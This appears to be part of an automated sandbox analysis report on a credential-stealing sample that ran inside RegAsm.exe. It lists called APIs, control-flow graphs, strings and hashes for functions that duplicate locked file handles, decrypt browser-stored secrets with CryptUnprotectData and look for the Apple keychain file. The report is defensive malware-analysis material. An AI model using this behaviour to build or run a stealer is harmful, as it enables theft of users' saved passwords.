40279 41c295 85 API calls 40237->40279 40239->40192 40240->40209 40241->40204 40242->40207 40243->40208 40244->40209 40245->40192 40246->40216 40247->40226 40248->40222 40249->40216 40250->40216 40252 41bc3b 100 API calls 40251->40252 40253 41f1b4 40252->40253 40254 41edad 85 API calls 40253->40254 40261 41f282 40253->40261 40255 41f1cb 40254->40255 40256 41f1f5 memcmp 40255->40256 40257 41f20e 40255->40257 40255->40261 40256->40257 40258 41f21b memcmp 40257->40258 40257->40261 40259 41f326 40258->40259 40262 41f23d 40258->40262 40260 41ee6b 85 API calls 40259->40260 40259->40261 40260->40261 40261->40235 40262->40259 40263 41f28e memcmp 40262->40263 40265 41c8df 55 API calls 40262->40265 40263->40259 40264 41f2a9 40263->40264 40264->40259 40267 41f308 40264->40267 40268 41f2d8 40264->40268 40266 41f269 40265->40266 40266->40259 40269 41f287 40266->40269 40270 41f27a 40266->40270 40267->40259 40274 4446ce 11 API calls 40267->40274 40271 41ee6b 85 API calls 40268->40271 40269->40263 40272 41ee6b 85 API calls 40270->40272 40273 41f2e0 40271->40273 40272->40261 40275 41b1ca memset 40273->40275 40274->40259 40275->40261 40276->40235 40277->40235 40278->40235 40279->40229 40280->40230 40281 41493c EnumResourceNamesW 40282 44660a 40285 4465e4 40282->40285 40284 446613 40286 4465f3 __dllonexit 40285->40286 40287 4465ed _onexit 40285->40287 40286->40284 40287->40286

                      Executed Functions

                      Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 CloseHandle GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 353 40de5a 351->353 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 355 40de5d-40de63 353->355 357 40de74-40de78 355->357 358 40de65-40de6c 355->358 357->352 357->355 358->357 360 40de6e-40de71 358->360 360->357 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 382 40df23-40df4a GetCurrentProcess DuplicateHandle 379->382 380->378 381 40dfd1-40dfd3 380->381 381->377 382->380 383 40df4c-40df76 memset call 41352f 382->383 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                      APIs
                      • memset.MSVCRT ref: 0040DDAD
                        • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                      • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                      • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                      • CloseHandle.KERNEL32(C0000004), ref: 0040DE3E
                      • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                      • _wcsicmp.MSVCRT ref: 0040DEB2
                      • _wcsicmp.MSVCRT ref: 0040DEC5
                      • _wcsicmp.MSVCRT ref: 0040DED8
                      • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                      • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                      • DuplicateHandle.KERNEL32(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                      • memset.MSVCRT ref: 0040DF5F
                      • CloseHandle.KERNEL32(C0000004), ref: 0040DF92
                      • _wcsicmp.MSVCRT ref: 0040DFB2
                      • CloseHandle.KERNEL32(00000104), ref: 0040DFF2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateInformationNameOpenQuerySystem
                      • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                      • API String ID: 2018390131-3398334509
                      • Opcode ID: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                      • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                      • Opcode Fuzzy Hash: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                      • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                      Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                        • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                        • Part of subcall function 00418680: ??3@YAXPAX@Z.MSVCRT ref: 004186C7
                        • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                      • GetDiskFreeSpaceW.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                      • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418803
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@DiskFreeSpace$FullNamePathVersionmalloc
                      • String ID:
                      • API String ID: 2947809556-0
                      • Opcode ID: 940d27dee81e78af7b1dcfc54f007828992184dafba41df18b595ae7ea53f8f2
                      • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                      • Opcode Fuzzy Hash: 940d27dee81e78af7b1dcfc54f007828992184dafba41df18b595ae7ea53f8f2
                      • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                      Function 00404423 Relevance: 3.1, APIs: 2, Instructions: 51encryptionCOMMON
                      Download Yara Rule
                      APIs
                      • CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                        • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                        • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                        • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                        • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                      • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$Load$CryptDataDirectoryFreeSystemUnprotectmemsetwcscatwcscpy
                      • String ID:
                      • API String ID: 1945712969-0
                      • Opcode ID: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                      • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                      • Opcode Fuzzy Hash: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                      • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                      Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                      • FindNextFileW.KERNEL32(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileFind$FirstNext
                      • String ID:
                      • API String ID: 1690352074-0
                      • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                      • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                      • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                      • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                      Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0041898C
                      • GetSystemInfo.KERNEL32(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: InfoSystemmemset
                      • String ID:
                      • API String ID: 3558857096-0
                      • Opcode ID: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                      • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                      • Opcode Fuzzy Hash: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                      • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                      Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 5 4455a8-4455e3 memset call 403988 wcsrchr 3->5 6 4457fb 3->6 42 44558e-445594 call 444b06 4->42 43 44557e-445580 call 4136c0 4->43 15 4455e5 5->15 16 4455e8-4455f9 5->16 10 445800-445809 6->10 13 445856-44585f 10->13 14 44580b-44581e call 40a889 call 403e2d 10->14 18 445861-445874 call 40a889 call 403c9c 13->18 19 4458ac-4458b5 13->19 45 445823-445826 14->45 15->16 21 445672-445683 call 40a889 call 403fbe 16->21 22 4455fb-445601 16->22 52 445879-44587c 18->52 23 44594f-445958 19->23 24 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 19->24 87 445685 21->87 88 4456b2-4456b5 call 40b1ab 21->88 30 445605-445607 22->30 31 445603 22->31 28 4459f2-4459fa 23->28 29 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 23->29 138 44592d-445945 call 40b6ef 24->138 139 44594a 24->139 37 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 28->37 38 445b29-445b32 28->38 157 4459d0-4459e8 call 40b6ef 29->157 158 4459ed 29->158 30->21 41 445609-44560d 30->41 31->30 182 445b08-445b15 call 40ae51 37->182 53 445c7c-445c85 38->53 54 445b38-445b96 memset * 3 38->54 41->21 50 44560f-445641 call 4087b3 call 40a889 call 4454bf 41->50 42->3 66 445585-44558c call 41366b 43->66 55 44584c-445854 call 40b1ab 45->55 56 445828 45->56 154 445665-445670 call 40b1ab 50->154 155 445643-445663 call 40a9b5 call 4087b3 50->155 67 4458a2-4458aa call 40b1ab 52->67 68 44587e 52->68 63 445d1c-445d25 53->63 64 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 53->64 69 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 54->69 70 445b98-445ba0 54->70 55->13 71 44582e-445847 call 40a9b5 call 4087b3 56->71 76 445fae-445fb2 63->76 77 445d2b-445d3b 63->77 159 445cf5 64->159 160 445cfc-445d03 64->160 66->42 67->19 85 445884-44589d call 40a9b5 call 4087b3 68->85 249 445c77 69->249 70->69 86 445ba2-445bcf call 4099c6 call 445403 call 445389 70->86 141 445849 71->141 93 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 77->93 94 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 77->94 146 44589f 85->146 86->53 103 44568b-4456a4 call 40a9b5 call 4087b3 87->103 106 4456ba-4456c4 88->106 165 445d67-445d6c 93->165 166 445d71-445d83 call 445093 93->166 196 445e17 94->196 197 445e1e-445e25 94->197 148 4456a9-4456b0 103->148 120 4457f9 106->120 121 4456ca-4456d3 call 413cfa call 413d4c 106->121 120->6 174 4456d8-4456f7 call 40b2cc call 413fa6 121->174 138->139 139->23 141->55 146->67 148->88 148->103 154->106 155->154 157->158 158->28 159->160 171 445d05-445d13 160->171 172 445d17 160->172 176 445fa1-445fa9 call 40b6ef 165->176 166->76 171->172 172->63 206 4456fd-445796 memset * 4 call 409c70 * 3 174->206 207 4457ea-4457f7 call 413d29 174->207 176->76 200 445b17-445b27 call 40aebe 182->200 201 445aa3-445ab0 call 40add4 182->201 196->197 202 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->202 203 445e6b-445e7e call 445093 197->203 200->38 201->182 220 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 201->220 239 445e62-445e69 202->239 240 445e5b 202->240 219 445f67-445f99 call 40b2cc call 409d1f call 409b98 203->219 206->207 248 445798-4457ca call 40b2cc call 409d1f call 409b98 206->248 207->10 219->76 253 445f9b 219->253 220->182 239->203 245 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 239->245 240->239 264 445f4d-445f5a call 40ae51 245->264 248->207 265 4457cc-4457e5 call 4087b3 248->265 249->53 253->176 269 445ef7-445f04 call 40add4 264->269 270 445f5c-445f62 call 40aebe 264->270 265->207 269->264 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->219 274->264 281 445f3a-445f48 call 445093 274->281 281->264
                      APIs
                      • memset.MSVCRT ref: 004455C2
                      • wcsrchr.MSVCRT ref: 004455DA
                      • memset.MSVCRT ref: 0044570D
                      • memset.MSVCRT ref: 00445725
                        • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                        • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                        • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                        • Part of subcall function 0040BDB0: _wcsncoll.MSVCRT ref: 0040BE38
                        • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                        • Part of subcall function 0040BDB0: memcpy.MSVCRT ref: 0040BEB2
                      • memset.MSVCRT ref: 0044573D
                      • memset.MSVCRT ref: 00445755
                      • memset.MSVCRT ref: 004458CB
                      • memset.MSVCRT ref: 004458E3
                      • memset.MSVCRT ref: 0044596E
                      • memset.MSVCRT ref: 00445A10
                      • memset.MSVCRT ref: 00445A28
                      • memset.MSVCRT ref: 00445AC6
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                        • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                        • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                        • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT ref: 004450F0
                        • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000), ref: 004450F7
                      • memset.MSVCRT ref: 00445B52
                      • memset.MSVCRT ref: 00445B6A
                      • memset.MSVCRT ref: 00445C9B
                      • memset.MSVCRT ref: 00445CB3
                      • _wcsicmp.MSVCRT ref: 00445D56
                      • memset.MSVCRT ref: 00445B82
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                        • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                        • Part of subcall function 0040B6EF: CreateFileW.KERNEL32(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                        • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                        • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                      • memset.MSVCRT ref: 00445986
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AttributesCloseCreateFolderHandlePathSizeSpecial_wcsicmp_wcslwr_wcsncollmemcpywcscatwcscpy
                      • String ID: *.*$Apple Computer\Preferences\keychain.plist
                      • API String ID: 381723030-3798722523
                      • Opcode ID: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                      • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                      • Opcode Fuzzy Hash: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                      • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                      Function 0041276D Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                        • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000), ref: 004044E9
                        • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                      • SetErrorMode.KERNEL32(00008001), ref: 00412799
                      • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000), ref: 004127B2
                      • EnumResourceTypesW.KERNEL32(00000000), ref: 004127B9
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$EnumErrorFreeHandleLoadMessageModeModuleResourceTypes
                      • String ID: $/deleteregkey$/savelangfile
                      • API String ID: 1442760552-28296030
                      • Opcode ID: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                      • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                      • Opcode Fuzzy Hash: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                      • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                      Function 0040B6EF Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 388fileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 0040B71C
                        • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                        • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                      • wcsrchr.MSVCRT ref: 0040B738
                      • memset.MSVCRT ref: 0040B756
                      • memset.MSVCRT ref: 0040B7F5
                      • CreateFileW.KERNEL32(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                      • CloseHandle.KERNEL32(00000000), ref: 0040B838
                      • memset.MSVCRT ref: 0040B851
                      • memset.MSVCRT ref: 0040B8CA
                      • memcmp.MSVCRT ref: 0040B9BF
                        • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                        • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                      • memset.MSVCRT ref: 0040BB53
                      • memcpy.MSVCRT ref: 0040BB66
                      • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$Freewcsrchr$CloseCreateCryptDataFileHandleLibraryLocalUnprotectmemcmpmemcpywcscpy
                      • String ID: chp$v10
                      • API String ID: 229402216-2783969131
                      • Opcode ID: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                      • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                      • Opcode Fuzzy Hash: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                      • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                      Function 00413D4C Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 142processCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 505 413d4c-413da0 call 40b633 CreateToolhelp32Snapshot memset Process32FirstW 508 413f00-413f11 Process32NextW 505->508 509 413da5-413ded OpenProcess 508->509 510 413f17-413f24 CloseHandle 508->510 511 413eb0-413eb5 509->511 512 413df3-413e26 memset call 413f27 509->512 511->508 513 413eb7-413ebd 511->513 519 413e79-413eae call 413959 call 413ca4 CloseHandle 512->519 520 413e28-413e35 512->520 516 413ec8-413eda call 4099f4 513->516 517 413ebf-413ec6 ??3@YAXPAX@Z 513->517 518 413edb-413ee2 516->518 517->518 525 413ee4 518->525 526 413ee7-413efe 518->526 519->511 522 413e61-413e68 520->522 523 413e37-413e44 GetModuleHandleW 520->523 522->519 529 413e6a-413e77 QueryFullProcessImageNameW 522->529 523->522 528 413e46-413e5c 523->528 525->526 526->508 528->522 529->519
                      APIs
                        • Part of subcall function 0040B633: ??3@YAXPAX@Z.MSVCRT ref: 0040B63A
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413D6A
                      • memset.MSVCRT ref: 00413D7F
                      • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                      • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                      • memset.MSVCRT ref: 00413E07
                      • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                      • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,00000104,00000000,?), ref: 00413E77
                      • CloseHandle.KERNEL32(?), ref: 00413EA8
                      • ??3@YAXPAX@Z.MSVCRT ref: 00413EC1
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                      • CloseHandle.KERNEL32(00000000), ref: 00413F1A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Handle$??3@CloseProcessProcess32memset$CreateFirstFullImageModuleNameNextOpenQuerySnapshotToolhelp32
                      • String ID: QueryFullProcessImageNameW$kernel32.dll
                      • API String ID: 3791284831-1740548384
                      • Opcode ID: 49940329a591e45662842b0713840e3f666fa521b7868de24c85cfebece9aff1
                      • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                      • Opcode Fuzzy Hash: 49940329a591e45662842b0713840e3f666fa521b7868de24c85cfebece9aff1
                      • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                      Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                        • Part of subcall function 0040DD85: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                        • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                        • Part of subcall function 0040DD85: CloseHandle.KERNEL32(C0000004), ref: 0040DE3E
                        • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                        • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                      • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                      • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                      • DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                      • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                        • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                        • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                        • Part of subcall function 00409A45: GetTempFileNameW.KERNEL32(?,0040B827,00000000,?), ref: 00409A85
                        • Part of subcall function 004096DC: CreateFileW.KERNEL32(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                      • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                      • WriteFile.KERNEL32(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                      • CloseHandle.KERNEL32(?), ref: 0040E13E
                      • CloseHandle.KERNEL32(00000000), ref: 0040E143
                      • CloseHandle.KERNEL32(?), ref: 0040E148
                      • CloseHandle.KERNEL32(?), ref: 0040E14D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                      • String ID: bhv
                      • API String ID: 4234240956-2689659898
                      • Opcode ID: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                      • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                      • Opcode Fuzzy Hash: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                      • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                      Function 004466F4 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
